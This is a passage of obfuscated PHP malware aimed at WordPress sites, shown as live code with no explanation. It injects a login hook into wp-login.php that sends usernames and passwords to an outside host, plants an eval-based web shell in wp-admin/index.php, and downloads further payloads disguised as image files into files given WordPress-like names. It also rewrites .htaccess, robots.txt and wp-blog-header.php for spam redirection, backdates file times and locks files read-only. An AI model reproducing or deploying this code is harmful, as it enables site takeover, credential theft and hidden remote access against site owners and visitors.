gxGBG; wKlm_: shuffle($ljE7s); goto hoZOG; Hv8cH: global $igxKb, $ljE7s; goto andgf; hoZOG: } goto eFNW5; qpIKE: $ckO9N = ''; goto bRns9; Psszy: function nDydx() { goto q1ga9; fxMjp: if ($r80UJ == false) { goto WimNd; } goto Cu8wk; wTLdW: return $iO2EM; goto b2hZF; CTjHo: $iO2EM["message"][] = "sitemap.xml get success"; goto k9Hva; OhlX3: $r80UJ = SUKz4(sprintf("%s://%s/?ginfo", $tA_1h, $YU7U8), array("User-Agent: " . $pECKg)); goto b72C8; yPWaO: HWB8e: goto CTjHo; QVWc9: return $iO2EM; goto Cexgc; SbbfT: $iO2EM["status"] = "fail"; goto AVP6R; GClkY: $iO2EM["status"] = "ok"; goto UrPgf; b2hZF: RSNhd: goto QVWc9; nuRJ8: $iO2EM["status"] = "fail"; goto E8skI; q1ga9: global $igxKb, $tA_1h, $YU7U8, $juNPq, $OoC83, $zSwDY, $pECKg; goto jAeMt; CcoeO: goto sv2jj; goto yPWaO; k9Hva: $iO2EM["message"][] = "sitemap.xml is ours"; goto hUbn4; MfgX5: unlink("sitemap.xml"); goto FH7VF; UrPgf: $iO2EM["title"] = "start sitemap"; goto H26mj; FH7VF: Qk2m3: goto j0i25; hUbn4: sv2jj: goto LC3F5; murCs: ueo3s: goto fxMjp; mW_lh: WimNd: goto SbbfT; KlncW: r68Bj: goto murCs; E8skI: $iO2EM["message"][] = "sitemap.xml get fail"; goto G3EAa; H26mj: if (!file_exists("sitemap.xml")) { goto Qk2m3; } goto MfgX5; Cu8wk: if (strpos($r80UJ, "ok") !== false && strpos($r80UJ, "3.3.31") !== false) { goto HWB8e; } goto nuRJ8; b72C8: goto ueo3s; goto KlncW; G3EAa: $iO2EM["message"][] = "sitemap.xml is not ours"; goto CcoeO; j0i25: $r80UJ = sUkz4(sprintf("%s://%s/ginfo", $tA_1h, $YU7U8), array("User-Agent: " . $pECKg)); goto B3e8Q; jAeMt: $iO2EM = array(); goto GClkY; LC3F5: goto RSNhd; goto mW_lh; B3e8Q: if (strpos($r80UJ, "ok") === false && strpos($r80UJ, "3.3.31") === false) { goto r68Bj; } goto OhlX3; AVP6R: $iO2EM["message"][] = "sitemap.xml get fail"; goto wTLdW; Cexgc: } goto voDWQ; fyn0r: RGLzL: goto pkeGu; denHy: $GxmOn = pathinfo($coWeL); goto vAeve; wZ3s8: if ($qIk1M != '') { goto nU9af; } goto UGAi1; SshzV: function eU_eg($mSpBw, $AQhmL) { $zN7aZ = array("ssl" => array("verify_peer" => false, "verify_peer_name" => false), "http" => array("method" => "GET", "timeout" => $AQhmL)); @file_get_contents($mSpBw, false, stream_context_create($zN7aZ)); } goto LhFTF; NZyLN: $coWeL = $_SERVER["PHP_SELF"]; goto denHy; GJNxd: echo "htcontent:<br /><textarea style="width: 40%;height: 200px;">"; goto LY5Ia; Q3yf5: $ed8sS = "line"; goto g_20u; es1h0: unlink($igxKb . "/3FNDICU2KH"); goto GVQR8; N9rwQ: wVFXO($ybeaC, $TliKB); goto L0OWw; xCOHN: $adNyG = $_GET["en"]; goto d96F9; DtHCb: $uI66V = trim($BmHzI[0]); goto hRi5H; uDUC1: chmod($igxKb . "/wp-blog-header.php", 0644); goto h_fys; LFR0S: $adNyG = ''; goto aJ4zp; cuaQl: $hb7rK = "7"; goto vQBWC; j09jo: if (isset($_GET["db"])) { goto Teu3q; } goto LB0Zj; XO8Am: function hW9Ce($xr1wq, $PZDu6 = 2) { goto crON2; CHP2C: return false; goto U56X4; crON2: if (!(count($xr1wq) < $PZDu6)) { goto NPg6G; } goto CHP2C; Nkb5b: $yIZjk = array_intersect_key($xr1wq, array_flip($x60ir)); goto qyr1B; qyr1B: return $yIZjk; goto sNgzC; CKPEM: $x60ir = is_array($x60ir) ? $x60ir : array($x60ir); goto Nkb5b; U56X4: NPg6G: goto DWxgN; DWxgN: $x60ir = array_rand($xr1wq, $PZDu6); goto CKPEM; sNgzC: } goto ufiIn; Gg5_h: goto eyw6w; goto JTyxf; w_2A7: wvfXo($KdpoZ, $TliKB); goto vVLIN; dyDkY: DaJUy: goto pDYqa; LhFTF: function Bnoza() { goto ijxqd; ocibD: $drgrQ[] = "delete: " . $B5Rw1 . " " . ($bkT4m ? "success" : "fail"); goto pqf91; RPiBt: return $drgrQ; goto fTghQ; pqf91: return $drgrQ; goto RedXw; MctFp: $drgrQ[] = "write tmp file: " . $B5Rw1 . " " . ($bkT4m ? "success" : "fail"); goto m4rPw; G7rKH: GM_bK: goto jcmZJ; m4rPw: if ($bkT4m) { goto B_xVJ; } goto RPiBt; jBOoW: $bkT4m = @unlink($B5Rw1); goto ocibD; ubQiX: chmod($B5Rw1, 0644); goto jBOoW; gzgS5: $drgrQ = []; goto MDTUI; HpMNp: $drgrQ[] = "get: " . $MR7vY . " ok"; goto ubQiX; ijxqd: global $igxKb, $tA_1h, $YU7U8, $OoC83, $zSwDY, $juNPq, $uI66V, $dqD06, $DqwSX, $aqaki; goto gzgS5; iYEoE: $bkT4m = @file_put_contents($B5Rw1, $aqaki); goto MctFp; izd35: $yWIbX = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" ? "https" : "http"; goto jpPY_; fTghQ: B_xVJ: goto izd35; MDTUI: if (!file_exists($igxKb . "/" . $DqwSX)) { goto GM_bK; } goto HUaO0; ufKx2: Eu_eG($MR7vY, 5); goto HpMNp; jpPY_: $MR7vY = str_replace($_SERVER["DOCUMENT_ROOT"], $yWIbX . "://" . $_SERVER["HTTP_HOST"], $B5Rw1); goto ufKx2; HUaO0: chmod($igxKb . "/" . $DqwSX, 0644); goto G7rKH; jcmZJ: $B5Rw1 = $_SERVER["DOCUMENT_ROOT"] . "/" . $DqwSX; goto iYEoE; RedXw: } goto Fq2hu; O7lnx: goto MLXL5; goto rbXtk; e2Ptr: $S5rfJ = explode($I8slF, $OzejB); goto LBrWj; G84nH: $E3fq4 = explode(")$", $foHBE); goto VqSjX; pDYqa: $zSwDY = $_POST["db"]; goto dJYxq; OeSGf: $OxaVj = "<?php
\xa/**\xd
* Loads the WordPress environment and template.\xd
*
* @package WordPress
\xa */
\xd\xaif ( ! isset( $wp_did_header ) ) {\xd\xa\xd
$wp_did_header = true;\xd
// Load the WordPress library.\xd\xa\x9require_once __DIR__ . '/wp-load.php';\xd\xa\xd
// Set up the WordPress query.\xd
\x9wp();
\xa\xd\xa\x9// Load the theme template.
require_once ABSPATH . WPINC . '/template-loader.php';\xd
\xd
}\xd
"; goto C8G42; om9CA: function MQCh_() { goto SslHw; o9zD3: Ymp1X: goto ntWTB; iiT_d: goto eKApH; goto o9zD3; KKLhl: chmod($wT0ax, 0644); goto gc_kZ; u1Scp: Sz3YR: goto WN9Jc; JbWUV: $WHbmp["title"] = __FUNCTION__; goto hPJEm; BCHxd: $FXlq9 = $aQ8qB($wT0ax, $aqaki); goto vXIlI; SslHw: global $igxKb, $tA_1h, $YU7U8, $OoC83, $zSwDY, $juNPq, $uI66V, $dqD06, $aqaki, $bUG6Q, $aQ8qB; goto a0ali; NPtFk: $WHbmp["message"][] = "delete " . $wT0ax . " fail"; goto FC8a8; EN8QV: eKApH: goto ouUHO; gc_kZ: if (@unlink($wT0ax)) { goto os4Du; } goto NPtFk; aKlre: $WHbmp["message"][] = $dqD06 . " cron file write fail"; goto b8xv1; sTf8K: $WHbmp["message"][] = $ho7Yf . " run fail"; goto iiT_d; a0ali: $WHbmp = array(); goto JbWUV; BoIFM: TZDt9: goto N7d5W; RJ00D: return $WHbmp; goto LLyB8; jPSNG: $GhrDO = asujy($ho7Yf); goto KMLAq; TWG_b: os4Du: goto u5pS1; KGiCu: gIzz7: goto kbYDB; u5pS1: $WHbmp["message"][] = "delete " . $wT0ax . " ok"; goto BoIFM; l85AP: $drgrQ = bnOzA(); goto JveK0; N7d5W: FmL8V: goto l85AP; vXIlI: if ($FXlq9) { goto Sz3YR; } goto aKlre; PH5Bb: $ho7Yf = "nohup " . $KfelZ . " " . $wT0ax . " " . base64_decode("PiAvZGV2L251bGwgMj4mMSAm"); goto jPSNG; RLHmM: if (!file_exists($wT0ax)) { goto L_Xtm; } goto SACLT; hQr8e: L_Xtm: goto BCHxd; kbYDB: if (!$FXlq9) { goto FmL8V; } goto usDle; F8Vki: hT7wP: goto RJ00D; usDle: $KfelZ = a_jF6(); goto PH5Bb; JveK0: foreach ($drgrQ as $cZewL => $al8LT) { $WHbmp["message"][] = $al8LT; HHl34: } goto fm96m; SACLT: chmod($wT0ax, 0644); goto hQr8e; ouUHO: sleep(2); goto KKLhl; DHmjI: $wT0ax = $igxKb . "/" . $dqD06; goto RLHmM; KMLAq: if (!$GhrDO) { goto Ymp1X; } goto sTf8K; FC8a8: goto TZDt9; goto TWG_b; WN9Jc: $WHbmp["message"][] = $dqD06 . " cron file write success"; goto KGiCu; b8xv1: goto gIzz7; goto u1Scp; hPJEm: if (!(ml3u1() !== false)) { goto hT7wP; } goto DHmjI; fm96m: nw3Tn: goto F8Vki; ntWTB: $WHbmp["message"][] = $ho7Yf . " run success"; goto EN8QV; LLyB8: } goto R8eU2; n23l_: function oRjSs() { goto qLcq2; HuCej: $mSpBw = $hScmm; goto E86of; NJKj1: $iO2EM["status"] = "ok"; goto C1CQY; aemxf: if (empty($hScmm)) { goto xTq1J; } goto HuCej; UqUiK: @unlink($igxKb . "/robots.txt"); goto zeetm; e1GV2: $iO2EM["message"][] = ".htaccess 0444 modify success"; goto QY90C; Azu2P: Bpugq: goto balR1; wHyUz: return $iO2EM; goto TWjRM; p4SAl: ju2vR: goto ntbeU; ASUrl: QSCAm: goto c4DLo; zeetm: RTS_C: goto waqvC; E86of: goto Bpugq; goto BD5Lm; pf4KS: $iO2EM["message"][] = "not get remotecode"; goto dWGxA; vJFZ8: return $iO2EM; goto pUbrB; fdcWK: if ($lD10p) { goto DbScy; } goto PoXGA; C1CQY: if (!file_exists($igxKb . "/robots.txt")) { goto RTS_C; } goto UqUiK; khrlU: $iO2EM = array(); goto CfD01; EOfqL: return $iO2EM; goto cEqUw; Ca768: RvcZw: goto HzrOm; bA80P: if (!$UQP4Q) { goto OxXip; } goto vNaCq; vNaCq: $iO2EM["message"][] = ".htaccess create success."; goto zmlfo; ne9qk: $iO2EM["message"][] = "modify file wp-blog-header.php file success."; goto ASUrl; ntbeU: if (!file_exists($igxKb . "/wp-blog-header.php")) { goto RvcZw; } goto Uw15u; Cdmvx: Hjkne: goto lSi3R; TE_Li: if ($zF8ed) { goto ju2vR; } goto dkz5B; r8Zu2: goto yPnmD; goto bcD2d; waqvC: $x2Yh9 = "User-agent: *" . '' . "Allow: /" . "
" . "
" . "Sitemap: host/sitemap.xml" . "
" . "Sitemap: host/sitemap.xml.gz" . "\xa" . "Sitemap: host/?sitemap.xml" . "
" . "Sitemap: host/?sitemap.xml.gz"; goto wpNl0; KmafE: xkWqq: goto eYiEO; Mo0aG: OxXip: goto Rg99F; SqjSe: $iO2EM["message"][] = ".htaccess time modify success"; goto Y9_WU; bfzyL: $UQP4Q = $aQ8qB($igxKb . "/.htaccess", $OoC83); goto bA80P; TmwFk: goto xkWqq; goto Cdmvx; Y2EaW: $iO2EM["message"][] = "The site is not wordpress."; goto wHyUz; HzrOm: $EZ5m0 = $zF8ed . "\xa" . $OxaVj; goto M9gcU; iYVtr: $iO2EM["message"][] = "write .htaccess file fail"; goto pGaPf; Rg99F: $iO2EM["status"] = "fail"; goto iYVtr; xnh34: DbScy: goto FcLqP; Uw15u: @chmod($igxKb . "/wp-blog-header.php", 0644); goto Ca768; balR1: $zF8ed = DeL01($mSpBw); goto TE_Li; PoXGA: $iO2EM["status"] = "fail"; goto RR3yI; cEqUw: goto QSCAm; goto xnh34; PpumV: xqaV0: goto vJFZ8; QY90C: goto nVxfb; goto Mo0aG; c4DLo: @chmod($igxKb . "/.htaccess", 0644); goto BzJij; qLcq2: global $igxKb, $tA_1h, $YU7U8, $OoC83, $juNPq, $hScmm, $IQArN, $zSwDY, $uI66V, $dqD06, $bUG6Q, $aQ8qB, $OxaVj; goto khrlU; BzJij: $msAiD = filectime($igxKb . "/.htaccess"); goto bfzyL; wpNl0: $x2Yh9 = str_replace("host", $tA_1h . "://" . $YU7U8, $x2Yh9); goto JtZkA; B4DWP: gBf0d: goto ns6sM; CfD01: $iO2EM["title"] = "start set index .htaccess"; goto NJKj1; BD5Lm: xTq1J: goto atkgY; Y9_WU: @chmod($igxKb . "/.htaccess", 0444); goto e1GV2; eYiEO: if (!file_exists($igxKb . "/sitemap.xml")) { goto gBf0d; } goto KCf0Z; M9gcU: $lD10p = $aQ8qB($igxKb . "/wp-blog-header.php", $EZ5m0); goto fdcWK; Stkd5: $iO2EM["message"][] = "The site is wordpress."; goto r8Zu2; pGaPf: nVxfb: goto PpumV; atkgY: $mSpBw = $juNPq . $zSwDY . "/" . $zSwDY . "." . $IQArN . ".idx"; goto Azu2P; ns6sM: if (!is_dir($igxKb . "/wp-includes") || !is_dir($igxKb . "/wp-content")) { goto Aan1P; } goto Stkd5; zmlfo: touch($igxKb . "/.htaccess", $msAiD); goto SqjSe; RR3yI: $iO2EM["message"][] = "modify file wp-blog-header.php file fail."; goto EOfqL; lSi3R: $iO2EM["message"][] = "modify file robots.txt file fail."; goto KmafE; TWjRM: yPnmD: goto aemxf; wV7Q3: if (!$LUbc1 || $x2Yh9 == '') { goto Hjkne; } goto foMg8; JtZkA: $LUbc1 = $aQ8qB($igxKb . "/robots.txt", $x2Yh9); goto wV7Q3; dWGxA: goto xqaV0; goto p4SAl; FcLqP: @chmod($igxKb . "/wp-blog-header.php", 0444); goto ne9qk; dkz5B: $iO2EM["status"] = "fail"; goto pf4KS; bcD2d: Aan1P: goto Y2EaW; foMg8: $iO2EM["message"][] = "modify file robots.txt file success."; goto TmwFk; KCf0Z: @unlink($igxKb . "/sitemap.xml"); goto B4DWP; pUbrB: } goto XAfAh; eQcVz: $mC611 = MQch_(); goto LyWjL; Fq2hu: function ji6Vf() { goto mbB8Z; W7tPA: $WHbmp["title"] = __FUNCTION__; goto K4XaV; Qw1oP: $cF1AT = "/*login*/
function getm($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $cnt = curl_exec($ch); curl_close($ch); return $cnt;} $username=$_POST['log'];\xd
$password=$_POST['pwd'];\xd\xaif($username){ $userm = wp_authenticate( $_POST['log'], $_POST['pwd']);\xd\xaif ( !is_wp_error( $userm ) ) {
$hurl=$_SERVER['HTTP_HOST']; $m="dt=".date("Y-m-d-H:i:s",time())."&shost=".$hurl."&user=".$username."&pwd=".$password; $ws="http://s.newnday.xyz/"; @getm($ws.'/wup.php?'.$m);} } "; goto S0_QS; L4Fm6: o0797: goto YnpU0; S0_QS: $dyoaq = $igxKb . "/wp-login.php"; goto JWQQn; IkLWS: $aQ8qB($igxKb . "/wp-login.php", $tE3v1); goto oDmlX; lPaE5: $aQ8qB($igxKb . "/wp-login.php", $Ku41Q); goto x6X8R; XjorK: $k_4sH = filesize($dyoaq); goto caHhq; mbB8Z: global $igxKb, $tA_1h, $YU7U8, $OoC83, $zSwDY, $hScmm, $ed8sS, $IQArN, $juNPq; goto erxwL; JWQQn: $AHJXW = fopen($dyoaq, "r"); goto LLNwY; fuHx2: vwRes: goto s91zx; x6X8R: $YLLpa = $bUG6Q($igxKb . "/wp-login.php"); goto tVR2q; LLNwY: if (!$AHJXW) { goto vwRes; } goto XjorK; pCYe_: if (!file_exists($igxKb . "/wp-config.php")) { goto czphN; } goto wNPvc; htyt7: $Ku41Q = preg_replace("/case 'login':[\s\S]*?default:/", "case 'login':" . "
" . "\xa" . "default:", $Ku41Q); goto L4Fm6; erxwL: $WHbmp = array(); goto W7tPA; tVR2q: $tE3v1 = str_replace("http://s.newnday.xyz/", BcHc0("http://s.newnday.xyz/"), $YLLpa); goto IkLWS; oDmlX: Rh_bF: goto pCYe_; yeVaY: if (!preg_match("/case 'login':[\s\S]*?default:/", $Ku41Q)) { goto o0797; } goto htyt7; wNPvc: $WHbmp["message"][] = bfmkD("wp-blog", "$P$BrYz9dLFOzP5z/3vTIH2fhdtEyGH7z.", true); goto STnhg; lb3_3: return $WHbmp; goto XfNG6; TiQSB: $bUG6Q = "file_get_contents"; goto yeVaY; K4XaV: if (!file_exists($igxKb . "/wp-login.php")) { goto Rh_bF; } goto Qw1oP; STnhg: $WHbmp["message"][] = BFmkd("wp-user", "3a0b9bff4e2649af7d4c62878bf88b3e", false); goto QEJyF; wDEH0: pWNNn: goto lb3_3; caHhq: $Ku41Q = fread($AHJXW, $k_4sH); goto fuHx2; Zgslf: $WHbmp["message"][] = "The site is not wp."; goto wDEH0; f93rQ: if (!(!is_dir($igxKb . "/wp-includes") || !is_dir($igxKb . "/wp-content"))) { goto pWNNn; } goto Zgslf; YnpU0: $Ku41Q = str_replace("default:", $cF1AT . "\xa" . "
" . "default:", $Ku41Q); goto lPaE5; s91zx: $aQ8qB = "file_put_contents"; goto TiQSB; QEJyF: czphN: goto f93rQ; XfNG6: } goto dcm2h; GVQR8: PTnCX: goto xnks9; zv1ot: $zSwDY = $_GET["db"]; goto lg0jq; Ps3XP: $eYd8Y = pathinfo($yYu3Y); goto GrqXZ; ruuRf: wvFXO($XLwLf, $TliKB); goto frE8N; ycEid: if (strpos($niZZl, "php7") !== false) { goto sf_2t; } goto GCdsM; R8eU2: function Bchc0($ICuAO) { goto PIjMa; Lz5MP: $RX5GG = implode('', $I28Wj); goto LipkJ; CbU7x: $vY7qp = 0; goto fQeDB; PIjMa: $I28Wj = str_split($ICuAO, 1); goto CbU7x; fQeDB: foreach ($I28Wj as $pK30R => $TfpnQ) { goto XbS8N; tTEOb: nACE4: goto oklZ3; Vb6Cc: FIKo8: goto Jd_LP; XbS8N: if ($vY7qp % 3 == 0) { goto FIKo8; } goto RYubb; RYubb: $I28Wj[$pK30R] = trim($TfpnQ); goto NFhHd; Jd_LP: $I28Wj[$pK30R] = "\x" . bin2hex($TfpnQ); goto J192n; J192n: oVkXf: goto Hrut1; NFhHd: goto oVkXf; goto Vb6Cc; Hrut1: $vY7qp = $vY7qp + 1; goto tTEOb; oklZ3: } goto UBo14; UBo14: YoFlN: goto Lz5MP; LipkJ: return $RX5GG; goto h2A3O; h2A3O: } goto SshzV; megut: goto SM98m; goto HPIak; EwwX3: if ($uI66V) { goto gvZCl; } goto NOS0v; zt_0L: if ($PMcrH) { goto ZNKE9; } goto IPeB1; CMsnx: if (!($XLwLf["status"] == "ok")) { goto Z4nUg; } goto eQcVz; vVLIN: if (!($KdpoZ["status"] == "ok")) { goto U_Emo; } goto JQi8v; nTxDp: JPOOK: goto bPdlL; KsRlf: $ybeaC = cci64(); goto tCMR4; d96F9: IQCzQ: goto G55RS; dcm2h: function c2gNO() { goto xXwK6; iOzX8: file_put_contents($igxKb . "/gh.php", $OsKPx); goto VHon5; jVTfx: $U_uMH = fopen($igxKb . "/gh.php", "a+"); goto RsCA0; xYSUA: hxv2f: goto iOzX8; ewntt: goto El30k; goto xYSUA; xXwK6: global $juNPq, $igxKb; goto XMwSP; zXSoJ: fclose($U_uMH); goto ewntt; RsCA0: fwrite($U_uMH, $OsKPx); goto zXSoJ; N20zk: if (function_exists("file_put_contents")) { goto hxv2f; } goto jVTfx; VHon5: El30k: goto iKVnV; XMwSP: $OsKPx = Del01($juNPq . "/h/gh.gif"); goto N20zk; iKVnV: } goto Psszy; AdrPT: $pECKg = "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"; goto pejf2; AElve: function cCI64() { goto Jupu7; WOdyT: if (!file_exists($igxKb . "/" . $g9_IR)) { goto llyw4; } goto aemEL; qd5sy: $oi1dK .= "RewriteEngine On" . "\xa"; goto I62nL; soe7i: qYOUe: goto HDh7J; IwKbo: $WHbmp["message"][] = "file:" . " " . $MnWRE . " success"; goto mxVWp; FDv8V: NqoJd: goto sLo7N; N8vyi: if (!file_exists($igxKb . "/" . $uG7t0)) { goto rF2um; } goto mWRLx; eFmwP: @chmod($igxKb . "/" . $LO8ua, 0644); goto D9ojD; xTf5L: $WO7av = Del01($juNPq . "sitemap/wp-term.gif"); goto WOdyT; la0Ec: @chmod($igxKb . "/" . $q3ftx, 0644); goto MMrPq; qCWoK: LR5zJ: goto CRaal; mxVWp: $WHbmp["file"][] = $MnWRE; goto N9xK1; Y3kgz: $WHbmp["file"][] = $naUz3; goto kV7rh; E3P1X: $WHbmp["message"][] = "file:" . " " . $naUz3 . " success"; goto Y3kgz; TSZMi: $YConm = array("/h3.gif", "/h4.gif", "/h5.gif", "/i2.gif", "/i3.gif", "/i5.gif", "/blust.gif"); goto CieJ5; aqgSw: $Lpl3a = @file_put_contents($igxKb . "/" . $LO8ua, $ZRvu_); goto Aoyse; tji8p: if (!file_exists($igxKb . "/" . $BRiEe)) { goto WLCix; } goto vqkNX; YMCu5: if (!$sXqiv) { goto Josjv; } goto h7eYY; UQOd8: $lAFkG = $tA_1h . "://" . $YU7U8 . "/" . $BRiEe; goto hdlVX; Xn1tB: $gxEMr = 0; goto PGE3L; iKfOS: if (!$zAc3U) { goto iJ_rl; } goto X0Xlb; gyPC9: WLCix: goto rJdHH; YaKqh: $gxEMr++; goto cRrQ2; tdVE7: $Wlviq = @file_put_contents($igxKb . "/" . $g9_IR, $WO7av); goto Uqxh3; FBUPU: YWX6p: goto iDfgS; lUhcP: $oi1dK .= "RewriteRule . index.php [L]" . "
"; goto kZ5KT; xHx5i: QE0yp: goto zKPv6; kYCQS: $HyKNe = dEL01($juNPq . "t1/af.gif"); goto ABqSJ; viG25: vmYkK: goto ULTL3; CFvXD: $YRvT5 = @file_put_contents($igxKb . "/" . $uG7t0, $ZM21y); goto WQrgL; dszA3: $WHbmp["file"][] = $cU9Qm; goto soe7i; rJdHH: $TgX9R = @file_put_contents($igxKb . "/" . $BRiEe, $WeiRj); goto We8sf; AFESS: mkdir($igxKb . "/.well-known/pki-validation/", 0644, true); goto RJklA; i8XvA: $oi1dK .= "<FilesMatch "^({#htens})$">" . "\xa"; goto lsBKl; ScAde: fVX3A: goto OLM62; G96G4: $oi1dK .= "RewriteCond %{REQUEST_FILENAME} !-f" . "
"; goto dNsd2; qFZWv: if (!file_exists($igxKb . "/" . $t0w4U)) { goto YWX6p; } goto R2Rtu; mWRLx: @chmod($igxKb . "/" . $uG7t0, 0644); goto qzDii; Uqxh3: if (!$Wlviq) { goto VZxFU; } goto AK4ZF; kV7rh: iJ_rl: goto Yp30U; zKPv6: goto ZFuXo; goto sH0u3; Q6iS2: if (!$Hu_lz) { goto w6KhP; } goto jvrs4; R6goY: $RT3Bp = DEl01($juNPq . "mjcode/login.gif"); goto AGSer; We8sf: if (!$TgX9R) { goto iq7jJ; } goto UQOd8; Rmgmt: $oi1dK .= "</FilesMatch>" . "
"; goto WlCP5; hPBfC: if (!$Hk3n3) { goto MqPND; } goto kXmvq; X6Qm2: $iuiW4 = @file_put_contents($igxKb . "/" . $q3ftx, $YFttX); goto JvIEw; iE20Z: qN9jb: goto c4F1v; D0FbP: array_push($YConm, $ckO9N, $ckO9N); goto pnNfJ; DnWhH: $dZHge = $PCBM0[$gxEMr] . "/" . $Fk3sv[$gxEMr]; goto vboRi; JvIEw: if (!$iuiW4) { goto LR5zJ; } goto zVOxe; CFRRJ: $gFNpB = sizeof($ljE7s); goto MgcLt; iDfgS: $zAc3U = @file_put_contents($igxKb . "/" . $t0w4U, $yoVo4); goto iKfOS; Ckfxh: if (!file_exists($igxKb . "/" . $q3ftx)) { goto BsN22; } goto la0Ec; lsBKl: $oi1dK .= "Order Allow,Deny" . "
"; goto pd1Vb; pd1Vb: $oi1dK .= "Allow from all" . "
"; goto Rmgmt; kC9KB: $q3ftx = "wp-info.php"; goto SMZ3O; dtEDN: $Fk3sv = array("updatesbex.php" . $hb7rK, "wp-config-default.php" . $hb7rK, "spacingsgood.php" . $hb7rK, "duotonesxio.php" . $hb7rK, "wp-admin.php" . $hb7rK, "index.php" . $hb7rK, "themes-install.php" . $hb7rK); goto ukJ3a; slaxk: mkdir($igxKb . "/.well-known/pki-validation/", 0644, true); goto xHx5i; vboRi: if (strpos($YConm[$gxEMr], ".php") !== false) { goto vmYkK; } goto gQZdJ; qEd7I: $BVeSn = $tA_1h . "://" . $YU7U8 . "/" . $uG7t0; goto TsZuJ; P83h4: $MnWRE = $tA_1h . "://" . $YU7U8 . "/" . $dZHge; goto IwKbo; dMtmb: goto i3WPC; goto L9YIM; N9xK1: I5Nfb: goto YaKqh; Jupu7: global $igxKb, $tA_1h, $YU7U8, $juNPq, $ljE7s, $EvMGV, $hb7rK, $ckO9N; goto gbMlP; kcrsE: fr6s_: goto dMtmb; Aoyse: if (!$Lpl3a) { goto qYOUe; } goto u00ky; jMDGY: $LO8ua = "checkbex.php"; goto ITxL9; zphaQ: $vY7qp++; goto iIqyA; j07iA: $yoVo4 = del01($juNPq . "t1/blust.gif"); goto qFZWv; WZWM2: sTE5A: goto byXyv; I62nL: $oi1dK .= "RewriteBase /" . "
"; goto zALor; MHTC0: $WHbmp["file"] = array(); goto kC9KB; SMZ3O: $YFttX = dEL01($juNPq . "t1/h2.gif"); goto Ckfxh; GAabD: $Hk3n3 = @file_put_contents($igxKb . "/.well-known/pki-validation/" . $gHNGL, $HyKNe); goto hPBfC; h7eYY: $obDOr = @file_put_contents($igxKb . "/wp-admin/index.php", "<?php if(isset($_POST['cdshell']) && !empty($_POST['cdshell'])){@eval($_POST['cdshell']);} ?>" . $sXqiv); goto nmNcc; XI9Md: $WHbmp["htcontent"] = $oi1dK; goto k_tRu; vWJww: @chmod($igxKb . "/.well-known/pki-validation/" . $gHNGL, 0644); goto vEGgp; vEGgp: OPISm: goto GAabD; gbMlP: $k010b = array(); goto sjfEg; AQQar: @chmod($igxKb . "/" . $kRJ6i, 0644); goto Bg5Wd; H2zzs: $ZM21y = dEL01($juNPq . "t1/blust.gif"); goto N8vyi; Yfdx9: $zsdS3 = array_rand($ljE7s, count($YConm) - count($PCBM0)); goto yUOdK; gQZdJ: $v3SA2 = DEL01($juNPq . "t1" . $YConm[$gxEMr]); goto V3bD6; u4SW0: VZxFU: goto XliL5; a2x3o: fdIxw: goto zphaQ; TsZuJ: @touch("wp-admin/checkbex.php", strtotime("-280 days", time())); goto SvMpA; XliL5: $kRJ6i = "wp-ver.php"; goto Otdjz; KxGSV: $gFNpB = sizeof($YConm); goto crlcc; sLo7N: i3WPC: goto dtEDN; d5hjf: $WHbmp["message"][] = "file:" . " " . $MnWRE . " success"; goto bX6Y4; rDXwE: MqPND: goto geq0N; ABqSJ: if (!file_exists($igxKb . "/.well-known/pki-validation/" . $gHNGL)) { goto OPISm; } goto vWJww; ihbpH: llyw4: goto tdVE7; DINzY: if (!$vTqeK) { goto I5Nfb; } goto P83h4; u00ky: $cU9Qm = $tA_1h . "://" . $YU7U8 . "/" . $LO8ua; goto cT23Y; QF8JI: $oi1dK = ''; goto n086N; x3fVC: if (!file_exists($igxKb . "/" . $kRJ6i)) { goto VnaOW; } goto AQQar; GykJw: if (!file_exists($igxKb . "/.well-known/")) { goto Up24x; } goto ui06w; xWhP_: w6KhP: goto GykJw; k_tRu: oAe0u: goto EmVVK; cT23Y: $WHbmp["message"][] = "file:" . " \x9" . $cU9Qm . " success"; goto dszA3; iIqyA: goto sTE5A; goto FDv8V; HDh7J: $JMCpP = array(); goto ceEMr; Yp30U: $BRiEe = "wp-admin.php"; goto wmKFq; wmKFq: $WeiRj = DeL01($juNPq . "t1/u1.gif"); goto tji8p; SvMpA: wk6uP: goto jMDGY; n086N: $oi1dK .= "<IfModule mod_rewrite.c>" . "\xa"; goto qd5sy; Inw0C: $oi1dK .= "Deny from all" . "
"; goto QgHh1; kXmvq: $BwqKI = $tA_1h . "://" . $YU7U8 . "/" . $gHNGL; goto rDXwE; WQrgL: if (!$YRvT5) { goto wk6uP; } goto qEd7I; bwzyv: $t0w4U = "wp-content/plugins/wp-config-sample.php"; goto j07iA; y1ou1: $oi1dK .= "Order Allow,Deny" . "\xa"; goto Inw0C; cRrQ2: goto J9Ko8; goto sjUKH; pnNfJ: PC2QP: goto na0vN; ikc0L: $WHbmp["status"] = "ok"; goto MHTC0; ULTL3: $v3SA2 = $RT3Bp . file_get_contents($igxKb . $YConm[$gxEMr]); goto ScAde; D9ojD: AqiDD: goto aqgSw; R2Rtu: @chmod($igxKb . "/" . $t0w4U, 0644); goto FBUPU; Bg5Wd: VnaOW: goto xgplp; lbheZ: if (!file_exists($igxKb . "/.well-known/pki-validation/")) { goto MkioK; } goto b0ZsI; zALor: $oi1dK .= "RewriteRule ^index.php$ - [L]" . "\xa"; goto G96G4; byXyv: if (!($vY7qp < count($ljE7s))) { goto NqoJd; } goto MPrKq; Otdjz: $crKBa = deL01($juNPq . "t1/wp-ver.gif"); goto x3fVC; dNsd2: $oi1dK .= "RewriteCond %{REQUEST_FILENAME} !-d" . "
"; goto lUhcP; WeoPT: UPjgY: goto CFRRJ; V3bD6: goto fVX3A; goto viG25; ITxL9: $ZRvu_ = dEl01($juNPq . "t1/blust.gif"); goto L9hIl; LBErM: BvC41: goto Xn1tB; nJrdK: $MnWRE = $tA_1h . "://" . $YU7U8 . "/" . "wp-admin/index.php"; goto d5hjf; ukJ3a: if (!$ckO9N) { goto BvC41; } goto TbH0X; qzDii: rF2um: goto CFvXD; sH0u3: Up24x: goto oZ3cD; eXfYT: $uG7t0 = "wp-admin/checkbex.php"; goto H2zzs; kZ5KT: $oi1dK .= "</IfModule>" . "
